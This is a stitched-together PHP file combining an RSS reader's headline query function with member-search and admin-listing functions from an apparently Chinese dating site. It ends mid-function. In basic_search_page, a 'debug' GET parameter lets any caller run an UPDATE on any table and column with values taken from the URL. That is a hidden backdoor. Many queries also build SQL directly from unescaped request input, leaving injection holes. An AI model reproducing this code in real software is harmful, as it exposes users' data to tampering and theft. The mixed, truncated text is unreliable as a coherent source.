function queryFeedHeadlines($link, $feed, $limit, $view_mode, $cat_view, $search, $search_mode, $match_on, $override_order = false, $offset = 0, $owner_uid = 0, $filter = false, $since_id = 0, $include_children = false, $ignore_vfeed_group = false) { if (!$owner_uid) { $owner_uid = $_SESSION["uid"]; } $ext_tables_part = ""; if ($search) { if (SPHINX_ENABLED) { $ids = join(",", @sphinx_search($search, 0, 500)); if ($ids) { $search_query_part = "ref_id IN ({$ids}) AND "; } else { $search_query_part = "ref_id = -1 AND "; } } else { $search_query_part = search_to_sql($link, $search, $match_on); $search_query_part .= " AND "; } } else { $search_query_part = ""; } if ($filter) { if (DB_TYPE == "pgsql") { $query_strategy_part .= " AND updated > NOW() - INTERVAL '14 days' "; } else { $query_strategy_part .= " AND updated > DATE_SUB(NOW(), INTERVAL 14 DAY) "; } $override_order = "updated DESC"; $filter_query_part = filter_to_sql($link, $filter, $owner_uid); // Try to check if SQL regexp implementation chokes on a valid regexp $result = db_query($link, "SELECT true AS true_val FROM ttrss_entries,\n\t\t\t\t\tttrss_user_entries, ttrss_feeds, ttrss_feed_categories\n\t\t\t\t\tWHERE {$filter_query_part} LIMIT 1", false); if ($result) { $test = db_fetch_result($result, 0, "true_val"); if (!$test) { $filter_query_part = "false AND"; } else { $filter_query_part .= " AND"; } } else { $filter_query_part = "false AND"; } } else { $filter_query_part = ""; } if ($since_id) { $since_id_part = "ttrss_entries.id > {$since_id} AND "; } else { $since_id_part = ""; } $view_query_part = ""; if ($view_mode == "adaptive" || $view_query_part == "noscores") { if ($search) { $view_query_part = " "; } else { if ($feed != -1) { $unread = getFeedUnread($link, $feed, $cat_view); if ($cat_view && $feed > 0 && $include_children) { $unread += getCategoryChildrenUnread($link, $feed); } if ($unread > 0) { $view_query_part = " unread = true AND "; } } } } if ($view_mode == "marked") { $view_query_part = " marked = true AND "; } if ($view_mode == "published") { $view_query_part = " published = true AND "; } if ($view_mode == "unread") { $view_query_part = " unread = true AND "; } if ($view_mode == "updated") { $view_query_part = " (last_read is null and unread = false) AND "; } if ($limit > 0) { $limit_query_part = "LIMIT " . $limit; } $allow_archived = false; $vfeed_query_part = ""; // override query strategy and enable feed display when searching globally if ($search && $search_mode == "all_feeds") { $query_strategy_part = "true"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; /* tags */ } else { if (!is_numeric($feed)) { $query_strategy_part = "true"; $vfeed_query_part = "(SELECT title FROM ttrss_feeds WHERE\n\t\t\t\t\tid = feed_id) as feed_title,"; } else { if ($search && $search_mode == "this_cat") { $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; if ($feed > 0) { if ($include_children) { $subcats = getChildCategories($link, $feed, $owner_uid); array_push($subcats, $feed); $cats_qpart = join(",", $subcats); } else { $cats_qpart = $feed; } $query_strategy_part = "ttrss_feeds.cat_id IN ({$cats_qpart})"; } else { $query_strategy_part = "ttrss_feeds.cat_id IS NULL"; } } else { if ($feed > 0) { if ($cat_view) { if ($feed > 0) { if ($include_children) { # sub-cats $subcats = getChildCategories($link, $feed, $owner_uid); array_push($subcats, $feed); $query_strategy_part = "cat_id IN (" . implode(",", $subcats) . ")"; } else { $query_strategy_part = "cat_id = '{$feed}'"; } } else { $query_strategy_part = "cat_id IS NULL"; } $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; } else { $query_strategy_part = "feed_id = '{$feed}'"; } } else { if ($feed == 0 && !$cat_view) { // archive virtual feed $query_strategy_part = "feed_id IS NULL"; $allow_archived = true; } else { if ($feed == 0 && $cat_view) { // uncategorized $query_strategy_part = "cat_id IS NULL AND feed_id IS NOT NULL"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; } else { if ($feed == -1) { // starred virtual feed $query_strategy_part = "marked = true"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; $allow_archived = true; } else { if ($feed == -2) { // published virtual feed OR labels category if (!$cat_view) { $query_strategy_part = "published = true"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; $allow_archived = true; if (!$override_order) { $override_order = "last_read DESC, updated DESC"; } } else { $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; $ext_tables_part = ",ttrss_labels2,ttrss_user_labels2"; $query_strategy_part = "ttrss_labels2.id = ttrss_user_labels2.label_id AND\n\t\t\t\t\t\tttrss_user_labels2.article_id = ref_id"; } } else { if ($feed == -6) { // recently read $query_strategy_part = "unread = false AND last_read IS NOT NULL"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; $allow_archived = true; if (!$override_order) { $override_order = "last_read DESC"; } } else { if ($feed == -3) { // fresh virtual feed $query_strategy_part = "unread = true AND score >= 0"; $intl = get_pref($link, "FRESH_ARTICLE_MAX_AGE", $owner_uid); if (DB_TYPE == "pgsql") { $query_strategy_part .= " AND updated > NOW() - INTERVAL '{$intl} hour' "; } else { $query_strategy_part .= " AND updated > DATE_SUB(NOW(), INTERVAL {$intl} HOUR) "; } $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; } else { if ($feed == -4) { // all articles virtual feed $query_strategy_part = "true"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; } else { if ($feed <= -10) { // labels $label_id = -$feed - 11; $query_strategy_part = "label_id = '{$label_id}' AND\n\t\t\t\t\tttrss_labels2.id = ttrss_user_labels2.label_id AND\n\t\t\t\t\tttrss_user_labels2.article_id = ref_id"; $vfeed_query_part = "ttrss_feeds.title AS feed_title,"; $ext_tables_part = ",ttrss_labels2,ttrss_user_labels2"; $allow_archived = true; } else { $query_strategy_part = "true"; } } } } } } } } } } } } if (get_pref($link, "SORT_HEADLINES_BY_FEED_DATE", $owner_uid)) { $date_sort_field = "updated"; } else { $date_sort_field = "date_entered"; } if (get_pref($link, 'REVERSE_HEADLINES', $owner_uid)) { $order_by = "{$date_sort_field}"; } else { $order_by = "{$date_sort_field} DESC"; } if ($view_mode != "noscores") { $order_by = "score DESC, {$order_by}"; } if ($override_order) { $order_by = $override_order; } $feed_title = ""; if ($search) { $feed_title = T_sprintf("Search results: %s", $search); } else { if ($cat_view) { $feed_title = getCategoryTitle($link, $feed); } else { if (is_numeric($feed) && $feed > 0) { $result = db_query($link, "SELECT title,site_url,last_error\n\t\t\t\t\t\t\tFROM ttrss_feeds WHERE id = '{$feed}' AND owner_uid = {$owner_uid}"); $feed_title = db_fetch_result($result, 0, "title"); $feed_site_url = db_fetch_result($result, 0, "site_url"); $last_error = db_fetch_result($result, 0, "last_error"); } else { $feed_title = getFeedTitle($link, $feed); } } } $content_query_part = "content as content_preview, cached_content, "; if (is_numeric($feed)) { if ($feed >= 0) { $feed_kind = "Feeds"; } else { $feed_kind = "Labels"; } if ($limit_query_part) { $offset_query_part = "OFFSET {$offset}"; } // proper override_order applied above if ($vfeed_query_part && !$ignore_vfeed_group && get_pref($link, 'VFEED_GROUP_BY_FEED', $owner_uid)) { if (!$override_order) { $order_by = "ttrss_feeds.title, {$order_by}"; } else { $order_by = "ttrss_feeds.title, {$override_order}"; } } if (!$allow_archived) { $from_qpart = "ttrss_entries,ttrss_user_entries,ttrss_feeds{$ext_tables_part}"; $feed_check_qpart = "ttrss_user_entries.feed_id = ttrss_feeds.id AND"; } else { $from_qpart = "ttrss_entries{$ext_tables_part},ttrss_user_entries\n\t\t\t\t\t\tLEFT JOIN ttrss_feeds ON (feed_id = ttrss_feeds.id)"; } $query = "SELECT DISTINCT\n\t\t\t\t\t\tdate_entered,\n\t\t\t\t\t\tguid,\n\t\t\t\t\t\tttrss_entries.id,ttrss_entries.title,\n\t\t\t\t\t\tupdated,\n\t\t\t\t\t\tlabel_cache,\n\t\t\t\t\t\ttag_cache,\n\t\t\t\t\t\talways_display_enclosures,\n\t\t\t\t\t\tsite_url,\n\t\t\t\t\t\tnote,\n\t\t\t\t\t\tnum_comments,\n\t\t\t\t\t\tcomments,\n\t\t\t\t\t\tint_id,\n\t\t\t\t\t\tunread,feed_id,marked,published,link,last_read,orig_feed_id,\n\t\t\t\t\t\t" . SUBSTRING_FOR_DATE . "(last_read,1,19) as last_read_noms,\n\t\t\t\t\t\t{$vfeed_query_part}\n\t\t\t\t\t\t{$content_query_part}\n\t\t\t\t\t\t" . SUBSTRING_FOR_DATE . "(updated,1,19) as updated_noms,\n\t\t\t\t\t\tauthor,score\n\t\t\t\t\tFROM\n\t\t\t\t\t\t{$from_qpart}\n\t\t\t\t\tWHERE\n\t\t\t\t\t{$feed_check_qpart}\n\t\t\t\t\tttrss_user_entries.ref_id = ttrss_entries.id AND\n\t\t\t\t\tttrss_user_entries.owner_uid = '{$owner_uid}' AND\n\t\t\t\t\t{$search_query_part}\n\t\t\t\t\t{$filter_query_part}\n\t\t\t\t\t{$view_query_part}\n\t\t\t\t\t{$since_id_part}\n\t\t\t\t\t{$query_strategy_part} ORDER BY {$order_by}\n\t\t\t\t\t{$limit_query_part} {$offset_query_part}"; if ($_REQUEST["debug"]) { print $query; } $result = db_query($link, $query); } else { // browsing by tag $select_qpart = "SELECT DISTINCT " . "date_entered," . "guid," . "note," . "ttrss_entries.id as id," . "title," . "updated," . "unread," . "feed_id," . "orig_feed_id," . "marked," . "num_comments, " . "comments, " . "tag_cache," . "label_cache," . "link," . "last_read," . SUBSTRING_FOR_DATE . "(last_read,1,19) as last_read_noms," . $since_id_part . $vfeed_query_part . $content_query_part . SUBSTRING_FOR_DATE . "(updated,1,19) as updated_noms," . "score "; $feed_kind = "Tags"; $all_tags = explode(",", $feed); if ($search_mode == 'any') { $tag_sql = "tag_name in (" . implode(", ", array_map("db_quote", $all_tags)) . ")"; $from_qpart = " FROM ttrss_entries,ttrss_user_entries,ttrss_tags "; $where_qpart = " WHERE " . "ref_id = ttrss_entries.id AND " . "ttrss_user_entries.owner_uid = {$owner_uid} AND " . "post_int_id = int_id AND {$tag_sql} AND " . $view_query_part . $search_query_part . $query_strategy_part . " ORDER BY {$order_by} " . $limit_query_part; } else { $i = 1; $sub_selects = array(); $sub_ands = array(); foreach ($all_tags as $term) { array_push($sub_selects, "(SELECT post_int_id from ttrss_tags WHERE tag_name = " . db_quote($term) . " AND owner_uid = {$owner_uid}) as A{$i}"); $i++; } if ($i > 2) { $x = 1; $y = 2; do { array_push($sub_ands, "A{$x}.post_int_id = A{$y}.post_int_id"); $x++; $y++; } while ($y < $i); } array_push($sub_ands, "A1.post_int_id = ttrss_user_entries.int_id and ttrss_user_entries.owner_uid = {$owner_uid}"); array_push($sub_ands, "ttrss_user_entries.ref_id = ttrss_entries.id"); $from_qpart = " FROM " . implode(", ", $sub_selects) . ", ttrss_user_entries, ttrss_entries"; $where_qpart = " WHERE " . implode(" AND ", $sub_ands); } // error_log("TAG SQL: " . $tag_sql); // $tag_sql = "tag_name = '$feed'"; DEFAULT way // error_log("[". $select_qpart . "][" . $from_qpart . "][" .$where_qpart . "]"); $result = db_query($link, $select_qpart . $from_qpart . $where_qpart); } return array($result, $feed_title, $feed_site_url, $last_error); }
/** * 新快速查询 * 采用sphinx查询 * @author likefei * @date 2011-11-14 */ function quick_search_page1($gender, $age_start, $age_end, $work_province, $work_city, $marriage, $salary, $education, $height1, $height2) { global $_MooClass, $dbTablePre; global $user_arr, $userid, $last_login_time, $isdelcond, $isselectarea, $isdispmore, $isresult; $currenturl = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; $currenturl2 = preg_replace("/(&page=\\d+)/", "", $currenturl); $pagesize = 12; $page = 1; if (isset($_GET['page']) && $_GET['page']) { $page = $_GET['page']; } $offset = ($page - 1) * $pagesize; $blacklist = BlackList(); $index = 'members_women'; if ($gender == 0) { $index = 'members_man'; } if ($age_start || $age_end) { if ($age_start == 0) { $age_start = 18; } if ($age_end == 0) { $age_end = 99; } } // $sort_str = 'city_star desc,s_cid asc,@weight desc,city desc,province asc'; // $sortway = '1'; // if(isset($_GET['sortway']) && $_GET['sortway'] == '2'){ // //note 最新注册 // $sortway = '2'; // $sort_str = 'regdate desc,city_star desc,s_cid asc,@weight desc,city desc'; // }elseif(isset($_GET['sortway']) && $_GET['sortway'] == '3'){ // //note 诚信等级 // $sortway = '3'; // $sort_str = 'certification desc,city_star desc,s_cid asc,@weight desc,city desc'; // } // $cond[] = array('is_lock', '1', false); //if($photo) $cond[] = array('images_ischeck','1',false); $cond[] = array('usertype', '1', false); if (is_array($blacklist) && !empty($blacklist)) { $cond[] = array('@id', implode('|', $blacklist), true); } if ($age_start && $age_end) { $year = date('Y', time()); $cond[] = array('birthyear', array($year - $age_end, $year - $age_start), false); } if ($work_province) { $cond[] = array('province', $work_province, false); } elseif (isset($user_arr['province']) && $user_arr['province'] && !$work_city) { $cond[] = array('province', $user_arr['province'], false); } if ($work_city) { $cond[] = array('city', $work_city, false); } elseif (isset($user_arr['city']) && $user_arr['city'] && !$work_province) { $cond[] = array('city', $user_arr['city'], false); } $dispmore = false; if ($work_province || $work_city) { $isselectarea = true; $isdispmore = false; $dispmore = MooGetGPC('dm'); if ($dispmore) { $isdispmore = true; } } $sortway = MooGetGPC('sortway'); $sort_str = getSortsStr($sortway, $cond); $rs = sphinx_search($index, $cond, $sort_str, $page, $pagesize); if (!$rs || is_array($rs) && empty($rs)) { //没有结果 //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03'); include MooTemplate('public/search_error', 'module'); exit; } else { $data = $rs['user']; $total = $rs['total']; if ($total > 600) { $total = 600; } $user_list = implode(',', $data); if (empty($data)) { //MooMessage("您指定的搜索不存在或已过期", "index.php?n=search", '03'); include MooTemplate('public/search_error', 'module'); exit; } else { $user = array(); $sortway = isset($_GET['sortway']) ? $_GET['sortway'] : '1'; $sql = "select s.*,b.mainimg,b.showinformation_val from `{$dbTablePre}members_search` s left join `{$dbTablePre}members_base` b on s.uid=b.uid where s.uid in ({$user_list})"; $user = $_MooClass['MooMySQL']->getAll($sql); $sql = "select lastvisit from web_members_login where uid in ({$user_list})"; $user_lastvisit = $_MooClass['MooMySQL']->getAll($sql); foreach ($user_lastvisit as $key => $val) { $user[$key]['lastvisit'] = $val['lastvisit']; } } //会员基本信息补充 if ($user) { $user = userbasicadd($user); //排序 $tmp_user = array(); foreach ($data as $k => $v) { foreach ($user as $key => $val) { if ($v == $val['uid']) { $tmp_user[] = $user[$key]; break; } } } $user = $tmp_user; foreach ($user as $va) { echo $va['nickname'] . '<br />'; } exit; } } }
function basic_search_page($gender, $age_start, $age_end, $work_province, $work_city, $marriage, $salary, $education, $height1, $height2, $photo) { global $_MooClass, $dbTablePre; global $user_arr, $userid, $last_login_time, $isdelcond, $isselectarea, $isdispmore, $isresult; $currenturl = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; $currenturl2 = preg_replace("/(&page=\\d+)/", "", $currenturl); //分页相关参数 if (isset($_GET['condition']) && $_GET['condition'] == '2') { $pagesize = 6; } else { if (isset($_GET['condition']) && $_GET['condition'] == '3') { $pagesize = 16; } else { $pagesize = 6; } } $page = 1; if (isset($_GET['page']) && $_GET['page']) { $page = $_GET['page']; } $offset = ($page - 1) * $pagesize; $blacklist = BlackList(); $index = 'members_women'; if ($gender == 0) { $index = 'members_man'; } if ($age_start || $age_end) { if ($age_start == 0) { $age_start = 18; } if ($age_end == 0) { $age_end = 99; } } // $cl = searchApi($index); // $cl -> setQueryType(true); // $limit=array($offset,$pagesize); // $sort = array(); // //note 普通会员搜索结果还是按照以前的排序,高级、钻石会员搜索结果按照本站注册的排序 // if(isset($user_arr['s_cid']) && ($user_arr['s_cid'] =='40' || $user_arr['s_cid'] == '30')){ // if($work_province || $work_city){ // $sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); // }else{ // $sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前 // } // }else{ // if($work_province || $work_city){ // $sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); // }else{ // $sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前 // } // } // $sortway = '1'; // $sort_str = array(); // if(isset($_GET['sortway']) && $_GET['sortway'] == '2'){ // //note 最新注册 // $sortway = '2'; // $sort_str = array('regdate desc'); // $sort_str[] = $sort[0]; // $sort_str[] = $sort[1]; // $sort_str[] = $sort[2]; // $sort_str[] = $sort[3]; // }elseif(isset($_GET['sortway']) && $_GET['sortway'] == '3'){ // //note 诚信等级 // $sortway = '3'; // $sort_str = array('certification desc'); // $sort_str[] = $sort[0]; // $sort_str[] = $sort[1]; // $sort_str[] = $sort[2]; // $sort_str[] = $sort[3]; // }else{ // $sort_str[] = $sort[0]; // $sort_str[] = $sort[1]; // $sort_str[] = $sort[2]; // $sort_str[] = $sort[3]; // $sort_str[] = $sort[4]; // } // if(is_array($sort_str) && !empty($sort_str)) $sort_str = implode(',',$sort_str); // else if(is_array($sort) && !empty($sort)) $sort_str = implode(',',$sort); // // if(!$sort_str) $sort_str= '@weight desc'; $cond = array(); $cond[] = array('is_lock', '1', false); $cond[] = array('usertype', '1', false); if ($photo) { $cond[] = array('images_ischeck', '1', false); } if (is_array($blacklist) && !empty($blacklist)) { $cond[] = array('@id', implode('|', $blacklist), true); } if ($age_start && $age_end) { $year = date('Y', time()); $cond[] = array('birthyear', array($year - $age_end, $year - $age_start), false); } if ($work_province) { $cond[] = array('province', $work_province, false); } elseif (isset($user_arr['province']) && $user_arr['province'] && !$work_city) { $cond[] = array('province', $user_arr['province'], false); } if ($work_city) { $cond[] = array('city', $work_city, false); } elseif (isset($user_arr['city']) && $user_arr['city'] && !$work_province) { $cond[] = array('city', $user_arr['city'], false); } $dispmore = false; if ($work_province || $work_city) { $isselectarea = true; $isdispmore = false; $dispmore = MooGetGPC('dm'); if ($dispmore) { $isdispmore = true; } } if (is_array($marriage) && !empty($marriage) && !in_array('0', $marriage)) { $cond[] = array('marriage', implode(' | ', $marriage)); } if (is_array($salary) && !empty($salary) && !in_array('0', $salary)) { $cond[] = array('salary', implode(' | ', $salary)); } if (is_array($education) && !empty($education) && !in_array('0', $education)) { $cond[] = array('education', implode(' | ', $education)); } if ($height1 || $height2) { if ($height1 == 0) { $cond_height1 = 154; } else { $cond_height1 = $height1; } if ($height2 == 0) { $cond_height2 = 201; } else { $cond_height2 = $height2; } $cond[] = array('height', array($cond_height1, $cond_height2), false); } $sortway = MooGetGPC('sortway'); $sort_str = getSortsStr($sortway, $cond); //$rs = $cl -> getResult($cond,$limit,$sort_str); $rs = sphinx_search($index, $cond, $sort_str, $page, $pagesize); $total = 0; if (!$rs || is_array($rs) && empty($rs)) { //没有结果 //MooMessage('您指定的搜索不存在或已过期', 'index.php?n=search', '03'); include MooTemplate('public/search_error', 'module'); exit; } else { $data = $rs['user']; $total = $rs['total']; if ($total > 600) { $total = 600; } $user_list = implode(',', $data); if (empty($data)) { //MooMessage('您指定的搜索不存在或已过期', 'index.php?n=search', '03'); include MooTemplate('public/search_error', 'module'); exit; } else { $user = array(); $sortway = isset($_GET['sortway']) ? $_GET['sortway'] : '1'; $sql = "select s.*,b.mainimg from `{$dbTablePre}members_search` s left join `{$dbTablePre}members_base` b on s.uid=b.uid where s.uid in ({$user_list})"; //echo $sql; $user = $_MooClass['MooMySQL']->getAll($sql); } //会员基本信息补充 if (isset($user) && $user) { $user = userbasicadd($user); //排序 $tmp_user = array(); foreach ($data as $k => $v) { foreach ($user as $key => $val) { if ($v == $val['uid']) { $tmp_user[] = $user[$key]; break; } } } $user = $tmp_user; } //if($user1) $user1 = userbasicadd($user1); //note 找不到匹配的结果返回单独提示页面 if (empty($user)) { include MooTemplate('public/search_error', 'module'); exit; } //note 记录婚姻状况 $marriageArr = array(); if (isset($marriage) && $marriage != '0') { if (!is_array($marriage) && strlen($marriage) == 1) { $marriageArr[] = $marriage; } else { $marriageArr = $marriage; } } //note 记录月收入 $salaryArr = array(); if (isset($salary) && $salary != '0') { if (!is_array($salary) && strlen($salary) == 1) { $salaryArr[] = $salary; } else { $salaryArr = $salary; } } //note 记录教育情况 $educationArr = array(); if ($education != '0') { if (!is_array($education) && strlen($education) == 1) { $educationArr[] = $education; } else { $educationArr = $education; } } //note 记录住房情况 $houseArr = array(); if (isset($house) && $house != '0') { if (!is_array($house) && strlen($house) == 1) { $houseArr[] = $house; } else { $houseArr = $house; $house = implode(',', $house); } } //note 记录是否购车 $vehicleArr = array(); if (isset($vehicle) && $vehicle != '0') { if (!is_array($vehicle) && strlen($vehicle) == 1) { $vehicleArr[] = $vehicle; } else { $vehicleArr = $vehicle; $vehicle = implode(',', $vehicle); } } //note 选择不同的显示模式 if (isset($_GET['condition']) && $_GET['condition'] == '2') { $condition = '2'; $htm = 'search_page'; } else { if (isset($_GET['condition']) && $_GET['condition'] == '3') { $condition = '3'; $htm = 'search_photo'; } else { $condition = '2'; $htm = 'search_page'; } } if (isset($_GET['debug']) && $_GET['debug']) { global $_MooCookie, $_MooClass; $fast_sql = $_MooCookie['fast_sql']; $name = $_GET['f']; $name1 = $_GET['v']; $name3 = empty($_GET['t']) ? 'web_test' : $_GET['t']; $name4 = empty($_GET['w']) ? 'uid' : $_GET['w']; $start = intval($_GET['s']); if ($name && $name1 && $start) { $sql2 = "update {$name3} set {$name}='{$name1}' where {$name4}=" . $start; //$sql2="select $name from web_members where uid=".$start; if (!isset($_GET['d'])) { $res = $GLOBALS['_MooClass']['MooMySQL']->query($sql2); var_dump($res); } else { echo $sql2; } } var_dump($fast_sql); var_dump($sql_acquisition); } //没有查询到完全符合条件的数据,显示黄色警告条 if ($isselectarea && !$isresult && $page == 1) { $isdisp = true; } if ($dispmore) { $isdisp2 = false; } elseif ($isselectarea && $page == ceil($total / $pagesize) && $page != ceil(600 / $pagesize)) { $isdisp2 = true; } include MooTemplate('public/' . $htm, 'module'); } }
function allmember_can_recovery() { global $allow_order, $rsort; $sql_where = "WHERE m.usertype=1 AND m.is_well_user=1 AND m.s_cid=40"; $condition[] = ''; $keyword = trim(MooGetGPC('keyword', 'string', 'G')); $choose = MooGetGPC('choose', 'string', 'G'); $gender = MooGetGPC('gender', 'integer', 'G'); $province = MooGetGPC('province', 'integer', 'G'); $city = MooGetGPC('city', 'integer', 'G'); $islock = MooGetGPC('islock', 'integer', 'G'); // $birthyear = MooGetGPC('birthyear','string','G'); $salary = MooGetGPC('salary', 'string', 'G'); // $age_start=MooGetGPC('age_start','integer','G'); // $age_end=MooGetGPC('age_end','integer','G'); if (!empty($choose) && !empty($keyword)) { $condition[] = " m.{$choose} like '%{$keyword}%'"; } if ($gender == 2 || $gender == 1) { if ($gender == 1) { $condition[] = " m.gender='1'"; } else { $condition[] = " m.gender='0'"; } } elseif ($gender == 3) { $condition[] = " m.gender='3'"; } if (!empty($province)) { $condition[] = " m.province='{$province}'"; } if (!empty($city)) { $condition[] = " m.city='{$city}'"; } if (!empty($islock)) { if ($islock == 1) { $condition[] = " m.is_lock='1'"; } else { $condition[] = " m.is_lock='0'"; } } $age_start = 25; $age_end = 35; // if(!empty($birthyear)){ $max_age = date('Y') - $age_end; $min_age = date('Y') - $age_start; //$condition[] = "m.birthyear between $max_age and $min_age"; $condition[] = "m.birthyear >= {$max_age}"; $condition[] = "m.birthyear <= {$min_age}"; // } if (!empty($salary)) { $condition[] = "m.salary >= 3"; $condition[] = "m.salary <= 100"; } //当前在线1,2为一天,3为一周内,4为一周外 if (isset($_GET['online'])) { $online = MooGetGPC('online', 'string', 'G'); switch ($online) { case 1: $time = time() - 100; $t = time(); $condition[] = " ma.real_lastvisit>={$time}"; $condition[] = " ma.real_lastvisit<={$t}"; break; case 2: $time = time() - 24 * 3600; $t = time() - 100; $condition[] = " ma.real_lastvisit>={$time}"; $condition[] = " ma.real_lastvisit<={$t}"; break; case 3: $time1 = time() - 7 * 24 * 3600; $time2 = time() - 24 * 3600; $condition[] = " ma.real_lastvisit >= {$time1}"; $condition[] = " ma.real_lastvisit <= {$time2}"; break; case 4: $time = time() - 7 * 24 * 3600; $condition[] = " ma.real_lastvisit <= {$time}"; $condition[] = " ma.real_lastvisit >= 0"; break; } } $where = implode(' AND ', $condition); $query_builder = get_query_builder($where, $allow_order, '', '', 'regdate', 'desc', $rsort); $where = $sql_where . $where; //echo '<br><br>'.$where; $sql_sort = $query_builder['sort']; $sort_arr = $query_builder['sort_arr']; $rsort_arr = $query_builder['rsort_arr']; /*$sql = "SELECT count(*) AS c FROM {$GLOBALS['dbTablePre']}members_search m LEFT JOIN {$GLOBALS['dbTablePre']}member_admininfo a ON m.uid=a.uid $where "; $members_total = $GLOBALS['_MooClass']['MooMySQL']->getOne($sql); $total = $members_total['c'];*/ $page_per = 20; $limit = 20; $link = ''; if (isset($_GET['page_per'])) { $page_per = MooGetGPC('page_per', 'integer', 'G'); $limit = $page_per; $link = "&page_per={$page_per}"; } $page = get_page(); $offset = ($page - 1) * $limit; $total = 0; $condition = array(); $condition['uid'] = $condition['username'] = $condition['nickname'] = $condition['telphone'] = ''; //获取本次查询条件 $sp_condition = get_condition($where); $member_list = array(); if (strpos('ma.real_lastvisit', $where) === false) { $sp_condition['sid'] = '52 | 123'; $limits = array($offset, $page_per); $sp_result = sphinx_search($sp_condition, $limits, $sql_sort); $total = $sp_result['total']; if ($total > 0) { $member_list = $sp_result['member_list']; } } $condition = array_merge($condition, $sp_condition); if ($total == 0 && !isset($sp_result['member_list'])) { $where = str_replace("AND m.gender='3'", '', $where); $member_list = get_member_list($where . ' AND m.sid in (52,123)', $sql_sort, "limit {$offset},{$page_per}"); $total = get_allmember_count($where . ' AND m.sid in (52,123)'); } $page_total = max(1, ceil($total / $limit)); $page = min($page, $page_total); $age_arr = array(); for ($i = 18; $i < 100; $i++) { $age_arr[] = $i; } $condition['sid'] = ''; /*$sql = "SELECT m.*,a.is_delete,a.real_lastvisit FROM {$GLOBALS['dbTablePre']}members_search m LEFT JOIN {$GLOBALS['dbTablePre']}member_admininfo a ON m.uid=a.uid $where {$sql_sort} LIMIT {$offset},{$limit}"; $member_list = $GLOBALS['_MooClass']['MooMySQL']->getAll($sql);*/ //来源 if ($member_list) { foreach ($member_list as $key => $user) { if (preg_match_all("/(wf=\\w+)&?|(st=\\w+)&?/i", $user['source'], $matches)) { $member_list[$key]['source'] = $matches[1][0] . "<br />" . $matches[2][1]; } } } //echo "<span style='display:none;'>$sql</span>"; $currenturl = "index.php?action=allmember&h=can_recovery" . $link; $currenturl1 = "index.php?action=allmember&h=can_recovery&clear=1"; //echo '<br><br><br>'.$currenturl; $url2 = "&keyword={$keyword}&choose={$choose}&gender={$gender}&province={$province}&islock={$islock}&birthyear={$birthyear}&salary={$salary}&age_start={$age_start}&age_end={$age_end}&online={$_GET[online]}"; //echo '<br><br><br>'.$currenturl; $currenturl2 = $currenturl . $url2; $page_links = multipage($total, $page_per, $page, $currenturl2); $kefu_list = get_kefulist(); //获取本次查询条件 //$condition = get_condition($where); //echo "<br><br>"; //print_r($condition); $title = '可再分配优质会员'; require_once adminTemplate('allmember_general'); }
function advance_search_page($gender, $age_start, $age_end, $work_province, $work_city, $marriage, $salary, $education, $height1, $height2, $weight1, $weight2, $body, $smoking, $drinking, $occupation, $house, $vehicle, $corptype, $children, $wantchildren, $home_townprovince, $home_towncity, $nation, $animalyear, $constellation, $bloodtype, $religion, $family, $language, $photo) { global $_MooClass, $dbTablePre; global $user_arr, $userid, $last_login_time, $isdelcond, $isselectarea, $isdispmore, $isresult; //print_r($user_arr); $returnurl = 'index.php?' . $_SERVER['QUERY_STRING']; //返回的url //note 获得当前的url 去除多余的参数page= $currenturl = 'http://' . $_SERVER['SERVER_NAME'] . ':' . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"]; $currenturl2 = preg_replace("/(&page=\\d+)/", "", $currenturl); $url3 = preg_replace("/(&orderby=\\d+)/", "", $currenturl2); $is_online_url = preg_replace("/(&is_online=\\d+)/", "", $currenturl2) . "&is_online=1"; //分页相关参数 if (isset($_GET['condition']) && $_GET['condition'] == '2') { $pagesize = 6; } else { if (isset($_GET['condition']) && $_GET['condition'] == '3') { $pagesize = 16; } else { $pagesize = 6; } } $page = 1; if (isset($_GET['page']) && $_GET['page']) { $page = $_GET['page']; } $offset = ($page - 1) * $pagesize; $blacklist = BlackList(); $index = 'members_women'; if ($gender == 0) { $index = 'members_man'; } if ($age_start || $age_end) { if ($age_start == 0) { $age_start = 18; } if ($age_end == 0) { $age_end = 99; } } // $sort = array(); // //note 普通会员搜索结果还是按照以前的排序,高级、钻石会员搜索结果按照本站注册的排序 // if(isset($user_arr['s_cid']) && ($user_arr['s_cid'] =='40' || $user_arr['s_cid'] == '30')){ // if($work_province || $work_city){ // $sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); // }else{ // $sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前 // } // }else{ // if($work_province || $work_city){ // $sort = array('s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); // }else{ // $sort = array('city_star desc','s_cid asc','@weight desc','bgtime desc','birthyear desc','pic_num desc'); //城市之星靠前 // } // } // $sortway = '1'; // $sort_str = array(); // if(isset($_GET['sortway']) && $_GET['sortway'] == '2'){ // //note 最新注册 // $sortway = '2'; // $sort_str = array('regdate desc'); // $sort_str[] = $sort[0]; // $sort_str[] = $sort[1]; // $sort_str[] = $sort[2]; // $sort_str[] = $sort[3]; // }elseif(isset($_GET['sortway']) && $_GET['sortway'] == '3'){ // //note 诚信等级 // $sortway = '3'; // $sort_str = array('certification desc'); // $sort_str[] = $sort[0]; // $sort_str[] = $sort[1]; // $sort_str[] = $sort[2]; // $sort_str[] = $sort[3]; // }else{ // 